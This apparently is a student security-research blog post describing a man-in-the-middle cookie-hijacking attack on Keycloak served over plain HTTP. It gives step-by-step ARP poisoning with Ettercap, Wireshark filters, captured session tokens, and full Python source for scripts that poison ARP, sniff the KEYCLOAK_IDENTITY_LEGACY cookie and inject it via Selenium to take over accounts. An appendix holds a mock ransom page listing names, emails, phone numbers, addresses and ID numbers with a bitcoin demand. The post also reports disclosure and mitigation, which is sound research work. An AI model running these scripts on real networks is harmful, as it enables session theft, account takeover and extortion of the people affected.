How to Hack: Unveiling an Automated Web Impersonation Attack

Budding cybersecurity engineer, Lucas Chin, uncovered a Man-in-the-Middle (MitM) web impersonation attack within a Keycloak-protected environment, exploiting a HTTP misconfiguration to intercept session cookies during login. By manipulating these cookies, attackers can gain unauthorized access by impersonating victims. The study demonstrates the feasibility of the attack and develops a “software bot” capable of executing this attack automatically. Additionally, this bot can audit Keycloak implementations for similar vulnerabilities. He was mentored by Senior Principal Cybersecurity Engineer, Lim Seh Leng.

d*classified
d*classified
15 min readJul 4, 2024

--

Introduction

Project Repo: here
Project Poster: here

Keycloak Functionality

Keycloak is a comprehensive identity and access management (IAM) solution. Core to its capabilities is the facilitation of Single Sign-On (SSO), an authentication scheme that allows a user to log in with a single ID. Keycloak leads the IAM industry with true single sign-on which allows users to log in once and access services without re-entering authentication factors through the use of cookies.

However, it is in this very feature that I discovered a login flaw.

Embarking on this project, I discover the world of access and management login systems. I learnt about the integration of identity providers like GitHub and Google Sign-In to provide a seamless login solution for my users.

Photo by Nahel Abdul Hadi on Unsplash

Materials and Methods

I was tasked to simulate an implementation of Keycloak as a security system. Subsequently, I discovered a misconfiguration vulnerability in the latest and newly updated version of Keycloak that impacts millions of users. To further illustrate the severity of this issue, I leveraged Python scripting to demonstrate the feasibility of developing automated attacks to impact users globally.

Set-up phase

This phase focused on setting-up a real-life implementation of Keycloak. To optimise workflow, Keycloak (Version 22.0.5) was pulled from docker and hosted on Amazon Web Services (AWS). Using YouTube tutorials, blog guides, and the DSTA-provided Keycloak Set-up Guide (Appendix A), I mastered Docker, Amazon EC2 and S3 from scratch. This phase involves the extensive exploration and implementation of Keycloak features, understanding Single Sign-On (SSO), and integrating identity providers like GitHub and Google.

My Keycloask implementation

With a developer’s mindset, I experimented with configurations. During this, I encountered an indication of a potential vulnerability.

Keycloak CLI (Command Line Interface) Configurations
CLI command to set Keycloak Realm to HTTP

During development, many developers host enterprise systems on HTTP for simplicity but this practice poses a security risk. Using unencrypted HTTP may expose sensitive data, creating a potential avenue for Keycloak attacks.

Exploration phase

To further experiment and learn, I opted to further explore this HTTP misconfiguration vulnerability. Through research, [2] I recognised the prevalence and potential harm of Man-in-the-Middle (MITM) attacks and decided to protect others from it.

However, as I had never practiced MitM attacks before, I learnt from scratch about Address Resolution Protocol (ARP) Poisoning, Wi-Fi sniffing and Network Packet Analysis.

To legitimise my discovery, I presented a comprehensive deck to DSTA showcasing the attack, security implications and follow up action. Following the presentation, my mentor escalated this finding to the DSTA Cybersecurity department.

Results

1. Vulnerability Discovery (Older Version)

I discovered a cookie hijacking attack on 20th October on an older version of Keycloak, 21.0.0.

As Keycloak uses SSO for user login, it handles the transfer of many cookies. These cookies act as unique credentials that identify a specific user using the service. As a security measure, the session tokens are reset upon logout, and become invalid. However, as most users forget to logout, the cookies usually remain valid for a long time. This presents a huge timeframe to attack the victim.

For every login onto a Keycloak realm, every user has 3 cookies:

Keycloak Assigned User Tokens

Most importantly, the “KEYCLOAK_IDENTITY_LEGACY” token is analogous to a SESSIONID token. Meaning, a user’s identity is determined by the value of this token.

As the Keycloak implementation is hosted on HTTP, there is an unsafe transfer of cookies within the network traffic. The value of the tokens can be easily intercepted in plaintext on Wireshark.

Wireshark is a free and open-source network packet analyser. It is used for network troubleshooting, and analysis. By using this tool, an attacker can intercept the transfer of login details (cookie values), unbeknownst to their victims.

In Wireshark, an important functionality is the “Search Filter”. It narrows down the huge data dump of network traffic, and filters it to only display information one is finding.

While testing, I discovered my “KEYCLOAK_IDENTITY_LEGACY” token had the value

eyJhbGciOiJIUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICJhNGY0MDY2Yy00MWRiLTRiNTQtO
DhhMy00ZmQyNmFlNTY4NDQifQ.eyJleHAiOjE2OTg2OTA1NzgsImlhdCI6MTY5ODY1NDU3OCwianR
pIjoiN2U5MDg3ZmMtNjAyMS00M2I0LWIwMGEtMjNhMTBlZGFiMGM2IiwiaXNzIjoiaHR0cDovL2Vj
Mi0xOC0xNDEtMjMxLTE2My5hcC1zb3V0aGVhc3QtMS5jb21wdXRlLmFtYXpvbmF3cy5jb20vcmVhb
G1zL2Zha2UtbWFzdGVyIiwic3ViIjoiNDEyZDRjMzEtZDk4Mi00MzlhLTk0OGMtNDYyNzFiY2EyYT
A5IiwidHlwIjoiU2VyaWFsaXplZC1JRCIsInNlc3Npb25fc3RhdGUiOiI0MGMyMTM4Ny0yMDU0LTQ
3ZWUtYThlOS1kODgwODExMGNmZDYiLCJzaWQiOiI0MGMyMTM4Ny0yMDU0LTQ3ZWUtYThlOS1kODgw
ODExMGNmZDYiLCJzdGF0ZV9jaGVja2VyIjoiY3F1ZGd2QXNGZ2hfZXN5V3JFYU9NMVN6YmwzOTJLS
3J4VEtoNXVTQU8ydyJ9.RMRZIVlBR62hAyja-Pb_RSDifxH0niKN4p6H6OO5opo.

So, I reverse engineered my request, and used the filter (frame contains + , {mycookie}) on Wireshark..

Location of Cookie Transfer on Network
Details of Network Packet

I discovered that cookies are insecurely transferred through HTTP on this network packet and confirmed that the intercepted cookie exactly matches my login cookie.

Attacker Editing his Cookies

On a separate KALI MACHINE, I edited my “KEYCLOAK_IDENTITY_LEGACY” token to match the one of my WINDOWS MACHINE.

Keycloak Account Configurations Page

I have successfully tricked Keycloak into believing that the account on my KALI MACHINE is that of the WINDOWS MACHINE. I now have unrestricted access to my WINDOWS MACHINE account.
(Link to exploit of 21.0.0 Proof-of-Concept Video at Appendix C)

2. Vulnerability Discovery (Active Version)

Since discovering this attack on an older Keycloak version, I research extensively and could not find any research disclosed about this method of cookie hijacking affecting Keycloak version 21.0.0. I figured this attack might be unreported or lesser known, so I replicated this exploit on the most recent and active Keycloak version 22.0.5, released on 24 October 2023.

I set-up a new instance on AWS EC2 hosting Keycloak version 22.0.5, running on HTTP.

Implementation of Keycloak 22.0.5

Using the same attacking methodology, I unfortunately met with a problem to the attack. When getting the KEYCLOAK_IDENTITY_LEGACY token, from the same packet, the cookie in the HTTP MESSAGE is truncated.

Truncated “KEYCLOAK_IDENTITY_LEGACY” token
KEYCLOAK_IDENTITY_LEGACY=eyJhbGciOiJIUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICJhY
WQxZGIzNC1mMmRkLTQ5MzMtOTllZi1mMDg1Y2E3MmE5Y2QifQ.eyJleHAiOjE2OTg3MTE4MzgsImlh
dCI6MTY5ODY3NTgzOCwianRpIjoiYmM0NzVlMTgtMmNkNC00NTc4LWJmYmEtOTNlYmIyOGJlZDNmIi
wiaXNzIjoiaHR0cDovL2VjMi01NC0xNjktMTAtMTMwLmFwLXNvdXRoZWFzdC0xLmNvbXB1dGUuYW1h
em9uYXdzLmNvbS9yZWFsbXMvb3RoZXJfbWFzdGVyIiwic3ViIjoiNDdkYzUwZmMtMjBhNC00MTIzLT
k1NjQtOTJkMjIwNzU0MjQxIiwidHlwIjoiU2VyaWFsaXplZC1JRCIsInNlc3Np
Actual victim KEYCLOAK_IDENTITY_LEGACY cookie,
eyJhbGciOiJIUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICJhYWQxZGIzNC1mMmRkLTQ5MzMtOT
llZi1mMDg1Y2E3MmE5Y2QifQ.eyJleHAiOjE2OTg3MTE4MzgsImlhdCI6MTY5ODY3NTgzOCwianRpI
joiYmM0NzVlMTgtMmNkNC00NTc4LWJmYmEtOTNlYmIyOGJlZDNmIiwiaXNzIjoiaHR0cDovL2VjMi0
1NC0xNjktMTAtMTMwLmFwLXNvdXRoZWFzdC0xLmNvbXB1dGUuYW1hem9uYXdzLmNvbS9yZWFsbXMvb
3RoZXJfbWFzdGVyIiwic3ViIjoiNDdkYzUwZmMtMjBhNC00MTIzLTk1NjQtOTJkMjIwNzU0MjQxIiw
idHlwIjoiU2VyaWFsaXplZC1JRCIsInNlc3Npb25fc3RhdGUiOiJmNzg4MTU1YS1jMDQ3LTQwZGUtO
WIzYS04NGY0ODU2NmExNzEiLCJzaWQiOiJmNzg4MTU1YS1jMDQ3LTQwZGUtOWIzYS04NGY0ODU2NmE
xNzEiLCJzdGF0ZV9jaGVja2VyIjoiaWVkemJqQldQRk1lalZwbEFvUUhHUk1wVjB4dGZJc2djdTVVT
mFFWVZKZyJ9.rMFNB2BOqbIQgyjImNm06qaQHZQSufmzPFAAcmi2Gjw

It seems like a patch has been implemented to protect newer versions of Keycloak from this MitM attack. Fortunately, I did not give up and persevered in identifying another workaround to this attack. Upon deeper analysis of the same packet, I discovered the “KEYCLOAK_IDENTITY_LEGACY” token is stored at another HTTP MESSAGE.

At this new location, I was able to extract entire, untruncated “AUTH_SESSION_ID_LEGACY”, “KEYCLOAK_SESSION_LEGACY” and “KEYCLOAK_IDENTITY_LEGACY” tokens. I cleaned up the content, storing only the highlighted “KEYCLOAK_IDENTITY_LEGACY” token.

Editing of “KEYCLOAK_IDENTITY_LEGACY” Token

Once again, on a separate KALI MACHINE, I edited my “KEYCLOAK_IDENTITY_LEGACY” token to match the one of my WINDOWS MACHINE, and successfully took over the account.Through this discovery, I identified the necessary conditions of this attack.

1. Keycloak on version 22.0.5, served on HTTP

2. Victim and attacker on the same LAN

3. Victim does not log out of account before attacker logs in

Because

  • Cookie resets upon logout

However

  • Attacker can make administrative changes (password or email) before victim logs out for complete permanent account takeover

3. The Manual Exploit

Armed with a Kali Virtual Machine on my Macbook, I manually exploited this HTTP misconfiguration using Ettercap and Wireshark.

Example Setting
The attacker is in an internet cafe, connected to the same Wi-Fi as his victim (Lucas). Lucas is a high-profile user on the Keycloak realm, with admin privileges. To continue his nefarious business, the attacker wants to take control of Lucas’ account, and manipulate data on the server.

1. Both victim and attacker are connected to the same LAN at a cafe

2. Victim (Lucas) logs into his own Keycloak account

  • Using a windows machine, IP (192.168.1.92)

3. Attacker (attacker) wants to impersonate Lucas on Keycloak

  • Using a Kali Linux machine, IP (192.168.1.98)
  • Intercepts Lucas’ login cookies

4. Keycloak served on HTTP

5. Router gateway at (192.168.1.254)

Attacker Preparation

Using Ettercap on Kali Linux, the attacker sets up an ARP Poisoning Attack, targeting Lucas (192.168.1.92) and router (192.168.1.254).

An ARP Poisoning Attack intercepts Wi-Fi traffic of the LAN Cafe. Using the tool, Ettercap, the attacker sends falsified ARP messages. This manipulation leads to the redirection of network traffic intended for Lucas’ device to the attacker’s machine. The attacker can then eavesdrop on the data passing through.

The attacker then uses Wireshark to monitor network traffic. This helps him to identify that the ARP Poisoning Attack is successful.
In Wireshark display filter, the attacker queries “frame contains “GET /realms/fake-master/protocol/openid-connect/3p-cookies/step1.html”” and waits for Lucas to login.

Victim Login

Immediately as Lucas logs into his own account on his WINDOWS MACHINE, the attacker’s Wireshark picks up Lucas’ login packet.

Upon deep analysis of the HTTP login packet, the attacker has captured Lucas’ session cookie, “KEYCLOAK_IDENTITY_LEGACY” in full. Attacker saves this value for impersonation.

KEYCLOAK_IDENTITY_LEGACY=eyJhbGciOiJIUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICJh
NGY0MDY2Yy00MWRiLTRiNTQtODhhMy00ZmQyNmFlNTY4NDQifQ.eyJleHAiOjE2OTg2OTM2ODksIm
lhdCI6MTY5ODY1NzY4OSwianRpIjoiOTA1MDc5ODYtYzUyMS00YzRjLTkyMzgtYzExY2UwNDJiMzA
4IiwiaXNzIjoiaHR0cDovL2VjMi0xOC0xNDEtMjMxLTE2My5hcC1zb3V0aGVhc3QtMS5jb21wdXRl
LmFtYXpvbmF3cy5jb20vcmVhbG1zL2Zha2UtbWFzdGVyIiwic3ViIjoiNDEyZDRjMzEtZDk4Mi00M
zlhLTk0OGMtNDYyNzFiY2EyYTA5IiwidHlwIjoiU2VyaWFsaXplZC1JRCIsInNlc3Npb25fc3RhdG
UiOiI4NjRmZjkwMy0zNThjLTRlMmYtOTE0Yi01ZTcyMTM0ZjA2M2QiLCJzaWQiOiI4NjRmZjkwMy0
zNThjLTRlMmYtOTE0Yi01ZTcyMTM0ZjA2M2QiLCJzdGF0ZV9jaGVja2VyIjoiRnFWWWpDNmpzaTR0
TEZIMGZleHUyaGt6bkthWXF2ejFKYkNoN0VFME43USJ9.J8QqrJ9aZrB93erEzzEQPyHMueORBm92
_9SsUMRTy1U
Using a cookie editor, the attacker alters the value of “KEYCLOAK_IDENTITY_LEGACY” cookie to Lucas’
Attacker refreshes the page.

Attacker can now change Lucas’ email, details and password for complete account takeover. (Link to exploit of 22.0.5 Proof-of-Concept video at Appendix D).

4. Automated Python Attack (Software Robot)

Since running the scripts demands a substantial amount of RAM, the code is divided into three smaller sections. This approach makes it more manageable, preventing potential memory-related issues and ensuring smoother execution of the scripts.

1. Ettercap.py

2. Wifi-sniff.py

3. Login.py

All the scripts are written in Python3, using the Python modules Sockets, Subprocess, Selenium and Scapy.

Video of Simulated Automated Exploit, employing the 3 scripts at Appendix E. In the video, Sacul coded a funny HTML page to seek ransom from Lucas. Its source code is at Appendix F.

Link to GitHub Repository: https://github.com/yhnbgf/autokeycloak

[A] Ettercap.py (Source Code at Appendix G)

Instead of using Ettercap Graphical, the script automatically launches Ettercap ARP Poisoning attacks from the CLI (Command Line Interface).

Functionality

1. Using Python’s sockets module, it scans and prints the user’s default gateway (router) IP address and the user’s own local IP address.

2. It prompts the user for an input of the victim’s IP address.

3. It verifies the validity of all 3 IP addresses and executes an ARP poisoning attack on the router and victim IP addresses, using Ettercap.

For example

1. The program detects default gateway at 192.168.1.1, and user’s IP address at 192.168.1.81

2. The user inputs the victim IP address of 192.168.1.94.

3. Computer runs this command: sudo ettercap -T -q -M arp:remote /192.168.1.1// /192.168.1.94// > /dev/null 2>&1 &

[B] Wifi-sniff.py (Source Code at Appendix H)

Instead of using Wireshark, this program uses Scapy, a python library that manipulates Wi-Fi packets. This script sniffs the Wi-Fi traffic.

Functionality

1. It prompts the user for the Keycloak Realm name.

2. Scans all network traffic.

3. Filters away other network traffic, only searching for the victim’s login onto Keycloak.

4. When a login packet is detected, the script prints the packet information, including all cookies used for login and the login URL.

5. Slices the data, storing only the “KEYCLOAK_IDENTITY_LEGACY” token value

6. Saves the token value to a file, “cookie.txt”, and the login URL to “url.txt”.

7. Automatically stops itself upon task complete.

[C] Login.py (Source code at Appendix I)

The script processes cookie and URL information obtained from Wifi-sniff.py and impersonates the victim login onto the Keycloak Realm.

Functionality

1. It processes the “KEYCLOAK_IDENTITY_LEGACY” token value previously stored in “cookie.txt”

2. Navigates to the Keycloak Login page

3. Using JavaScript and Inspect Console, enforces the cookie of the browser to be Lucas’.

4. Refreshes the page for the user to take over Lucas’ account.

5. Page remains open for the user to use the account, until “CTRL + C” is pressed.

Discussion

Follow-Up

Upon discovering this potential avenue of attack, I contacted the Keycloak security team on email, and opened a GitHub Issue. See Appendix J

Mitigation

For developers, ensure that your applications use HTTPS for secure communication. This encrypts the data in transit between the client and server, making it difficult for attackers to intercept and manipulate. When using HTTPS, implement the latest version of TLS (Transport Layer Security) to ensure existing vulnerabilities are patched.

For users, beware of unsecured Wi-Fi networks and avoid using them for sensitive transactions, such as online banking or shopping.

When using other internet browsers e.g., Edge, Safari, Firefox, etc. click on the icon at the left of the URL address bar. Ensure that the website is on HTTPS and has a valid SSL certificate to secure your connections.

Conclusion

As my YDSP Project comes to fruition, reflecting on this remarkably fruitful journey is imperative. I extend my gratitude not only for the invaluable resources provided by DSTA, which significantly enriched my learning experience, but also for the opportunity to expand my knowledge of cybersecurity. This undertaking has been more than a mere project, it has been a transformative expedition, fostering both professional development and personal growth.

I am inspired to serve as the catalyst to change. Making full use of my knowledge in programming, and cybersecurity, I will fuse both together to produce more efficient, and effective automated software that can actively scan websites for lapses in security. I can work with SMEs to expand my outreach, and develop network security solutions with MINDEF when I grow up to ensure all existing Singaporean web platforms are secure.

Reflecting on this journey, I learnt not just to code or exploit, but have grown. I have become not just a learner but someone who understands cybersecurity resilience and strategic thinking. It was a journey that taught me the ethical responsibility of securing digital spaces.

Acknowledgements

This project is only possible with the support of DSTA. I am especially grateful for the guidance of my mentor, Ms Lim Seh Leng who has been extremely helpful in pushing me above the scopes of this project. Thanks to her, I have thoroughly enjoyed this research experience.

With my mentor, Seh Leng

References

[1] Stian Thorgersen. (n.d.). Retrieved December 4, 2022, from https://github.com/keycloak/keycloak

[2] Conti, M., Dragoni, N., & Lesyk, V. (2016). A Survey of Man In The Middle Attacks. IEEE Communications Surveys & Tutorials, 18(3), 2027–2051. Retrieved December 4, 2023, from https://doi.org/10.1109/COMST.2016.2548426

Appendices

Appendix A
DSTA Keycloak Set-up Guide

https://drive.google.com/file/d/1R8sGUvTbnV3VntunR8G1syf0Uzm4CTBz/view?usp=sharing

Appendix B

Vulnerability Findings Deck https://docs.google.com/presentation/d/1FWFxzrX9PNeYkOHCKF1HAABxucQfV6UT/edit?usp=sharing&ouid=107896507330633954059&rtpof=true&sd=true

Appendix C
Manual Exploit of Version 21.0.0

https://drive.google.com/file/d/1linPG4_708wK70iZNh2FRgeQBQarm6V6/view?usp=sharing

Appendix D
Manual Exploit of Version 22.0.5
https://drive.google.com/file/d/1-pqKV6-Wswh6skW5_tnA_nv8GPlepojz/view?usp=sharing

Appendix E

Video of Simulated Automated Exploit
https://drive.google.com/file/d/1juOHW3TA-5OcRn1JlAL35BfccSN9xc-5/view?usp=sharing

Appendix F
Source Code of Sacul’s Ransom HTML Page

<!DOCTYPE html>
<html lang="en">
<style>
h1, h2 {
text-align: center;
padding: 20px;
background: linear-gradient(45deg, #FF0000, #FF7F00, #FFFF00, #00FF00, #0000FF, #4B0082, #8B00FF);
-webkit-background-clip: text;
color: transparent;
animation: spinAnimation 10s linear infinite; /* Animation for spinning text */
}
body {
background-image: url('https://t4.ftcdn.net/jpg/02/12/25/45/360_F_212254598_brUfST14WUQsmeXq83kvdo3l8Uft82ma.jpg');
}
table {
width: 80%;
margin: 20px auto;
background-color: rgba(255, 255, 255, 0.8);
border-collapse: collapse;
}
th, td {
border: 1px solid #ddd;
padding: 8px;
text-align: left;
}
th {
background-color: #f2f2f2;
}
mark {
background-color: yellow;
color: black;
font-weight: bold;
}
mark2 {
background-color: yellow;
color: black;
font-weight: bold;
}
.colorful-text {
color:
}
@keyframes spinAnimation {
0% {
transform: rotate(0deg);
}
100% {
transform: rotate(360deg);
}
}
.colorful-text {
color: #FF00FF;
}
.funny-text {
font-family: 'Comic Sans MS', cursive;
color: #FF00FF;
text-align: center;
font-size: 24px;
padding: 20px;
background-color: green;
}
</style>
<script>

// Function to fetch and display the visitor's IP address
function getIpAddress() {
fetch('https://ipinfo.io/json')
.then(response => response.json())
.then(data => {
document.getElementById('ip-address').textContent = data.ip;
})
.catch(error => {
console.error('Error fetching IP address:', error);
});
}

// Call the function when the page loads
window.onload = getIpAddress;
</script>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Lucas' Friends Information LEAKED</b></title>
<style>
table {
width: 100%;
border-collapse: collapse;
margin-top: 20px;
}
th, td {
border: 1px solid #ddd;
padding: 8px;
text-align: left;
}
th {
background-color: #f2f2f2;
}
</style>
</head>
<body>

<h1>Lucas' Friends Information</h1> <h2>LEAKED HAHAHAHAHAH</h2>

<table>
<thead>
<tr>
<th>Contact Name</th>
<th>Email</th>
<th>Birthday</th>
<th>Mobile</th>
<th>Address</th>
<th>NRIC No.</th>
</tr>
</thead>
<tbody>
<tr>

<td>Vernie Si</td>
<td>verniesi41@hotmail.com</td>
<td>1996-10-25</td>
<td>9561-6475</td>
<td>Blk 42 Lorong 6 Woodgrove, #11-37, 967937</td>
<td>S9606318M</td>

</tr>
<tr>
<td>Keith Chia Wee Tat</td>
<td>keithchi52@gmail.com</td>
<td>1966-07-10</td>
<td>8487-6738</td>
<td>3 Kallang Vista, 064547 </td>
<td>S6689059A</td>
</tr>
<tr>
<td>Tay Boon Keong Jimmy</td>
<td>tayboonk78@gmail.com</td>
<td>1976-08-29</td>
<td>9880-6338</td>
<td>Blk 30 Lorong 4 Pandan Valley, #05-04, 468449</td>
<td>S7670951I</td>
</tr>
<tr>
<td>Jarred Woo</td>
<td>jarredwo85@yahoo.com.sg</td>
<td>2003-11-01</td>
<td>9010-1367</td>
<td>69 Admiralty Gate, 815475</td>
<td>T0355365L</td>
</tr>
<tr>
<td>Judy Yap</td>
<td>judyyapm66@gmail.com</td>
<td>1995-09-27</td>
<td>8742-5114</td>
<td>1 Jalan Telipok, 177805</td>
<td>S9528017M</td>
</tr>
<tr>
<td class="colorful-text"><mark>Pay MONEY of I LEAK MORE</mark></td>

</tr>
</tbody>
</table>
<div class="funny-text">Pay 1 BTC to 0x310D023266F9e9a861E732D569E4C690F29d039f OR ELSE</div>

<<h1>Your IP Address: 220.255.23.234</h1>
<p id="ip-address">Loading...</p>

</body>

</html>

Appendix G
https://github.com/yhnbgf/autokeycloak

Source Code of Ettercap.py

//code font

import subprocess

def get_local_ip():
try:
# Create a socket to get the local machine's IP address
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('8.8.8.8', 1)) # Connect to a public DNS server
local_ip = s.getsockname()[0]
s.close()
return local_ip
except Exception as e:
print(f"Error getting local IP address: {e}")
return None

def get_router_ip():
try:
# Run a subprocess to get the default gateway (router) IP address
result = subprocess.check_output(["ip", "route", "show", "default"]).decode("utf-8")
router_ip = result.split()[2]
return router_ip
except Exception as e:
print(f"Error getting router IP address: {e}")
return None

if __name__ == "__main__":
local_ip = get_local_ip()
router_ip = get_router_ip()

if local_ip and router_ip:
print(f"Local IP address: {local_ip}")
print(f"Router IP address: {router_ip}")
else:
print("Failed to retrieve IP addresses.")
victim_ip=str(input("Enter Victim IP:"))

router_path = f"/{router_ip}//"
victim_path = f"/{victim_ip}//"

command = ["sudo", "ettercap", "-T", "-q", "-M", "arp:remote", router_path, victim_path, ">", "/dev/null", "2>&1", "&"]
result = subprocess.run(command)

Appendix H

Source Code of Wifi-sniff.py

from scapy.all import sniff, IP, TCP, Raw
import sys

# Global variable to control sniffing
stop_sniffing = False

def packet_callback(packet, realm_name):
global stop_sniffing
if stop_sniffing:
return

if packet.haslayer(IP) and packet.haslayer(TCP) and packet.haslayer(Raw):
ip_src = packet[IP].src
ip_dst = packet[IP].dst
payload = packet[Raw].load.decode('utf-8', 'ignore')

# Check for HTTP traffic with the specified URL
target_url = f'GET /realms/{realm_name}/protocol/openid-connect/3p-cookies/step1.html'
if target_url in payload:
# Extract cookies from the payload
auth_session_id_legacy = extract_cookie(payload, 'AUTH_SESSION_ID_LEGACY')
keycloak_session_legacy = extract_cookie(payload, 'KEYCLOAK_SESSION_LEGACY')
keycloak_identity_legacy = extract_cookie(payload, 'KEYCLOAK_IDENTITY_LEGACY')

# Print the URL from which the login token was pulled

print(f"HTTP packet from {ip_src} to {ip_dst}:\n{payload}\n")

# Print the keycloak_identity_legacy cookie
if keycloak_identity_legacy:
print(f"keycloak_identity_legacy cookie found: {keycloak_identity_legacy}")
print(f"URL: {extract_url(payload)}")

# Store the cookie value in a file
store_cookie(keycloak_identity_legacy)
store_url(extract_url(payload))
stop_sniffing = True
sys.exit(1)

def extract_cookie(payload, cookie_name):
start_index = payload.find(cookie_name)
if start_index != -1:
start_index = payload.find('=', start_index) + 1
end_index = payload.find(';', start_index)
cookie_value = payload[start_index:end_index]
return cookie_value.strip()

return None

def extract_url(payload):
# Extracting the URL from the payload
start_index = payload.find('Host: ') + len('Host: ')
end_index = payload.find('\r\n', start_index)
return payload[start_index:end_index]

def store_cookie(cookie_value):
with open('cookie.txt', 'w') as file:
file.write(cookie_value)

def store_url(url_value):
with open('url.txt', 'w') as file:
file.write(url_value)

# Replace 'eth0' with the name of your interface
interface = 'eth0'

# Get user input for realm_name
realm_name = input("Enter the realm name: ")
print("Sniffing Login Packets. Stop when keycloak_identity_legacy cookie is found...")

# Start sniffing HTTP traffic with the specific URL filter
sniff(iface=interface, prn=lambda pkt: packet_callback(pkt, realm_name), store=0, filter="tcp port 80 or tcp port 8080")

Appendix I

Source Code of Login.py

from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import time

# Replace 'path/to/chromedriver' with the actual path to your chromedriver executable
chromedriver_path = '/usr/bin/chromedriver'

# Set up Chrome options
chrome_options = webdriver.ChromeOptions()
chrome_options.add_argument('--no-sandbox') # Required for running in a virtual machine
chrome_options.add_argument('--disable-gpu') # Required for running in a virtual machine
# chrome_options.add_argument('--headless') # Optional: run in headless mode without a graphical user interface

# Create a Chrome web driver
service = Service(chromedriver_path)
driver = webdriver.Chrome(service=service, options=chrome_options)

try:

realm=input("Enter the Realm Name:")
with open('url.txt', 'r') as url_file:
url = "http://"+ url_file.read().strip() + "/realms/" +realm + "/account/"

# Open the website URL
driver.get(url)
time.sleep(5)

# Read the cookie value from the file
with open('cookie.txt', 'r') as file:
keycloak_identity_legacy = file.read().strip()

# Provided cookie information
cookie_info = f"document.cookie = 'KEYCLOAK_IDENTITY_LEGACY={keycloak_identity_legacy}';"

# Execute JavaScript to set the cookie
driver.execute_script(cookie_info)
driver.refresh()

# Optional: Print the title of the webpage
print("Title of the page:", driver.title)

# Keep the browser window open until Ctrl+C is pressed
while True:
pass

except KeyboardInterrupt:
# Ctrl+C was pressed, close the browser window
driver.quit()

Appendix J

Reporting of Issue to Keycloak Security Team

--

--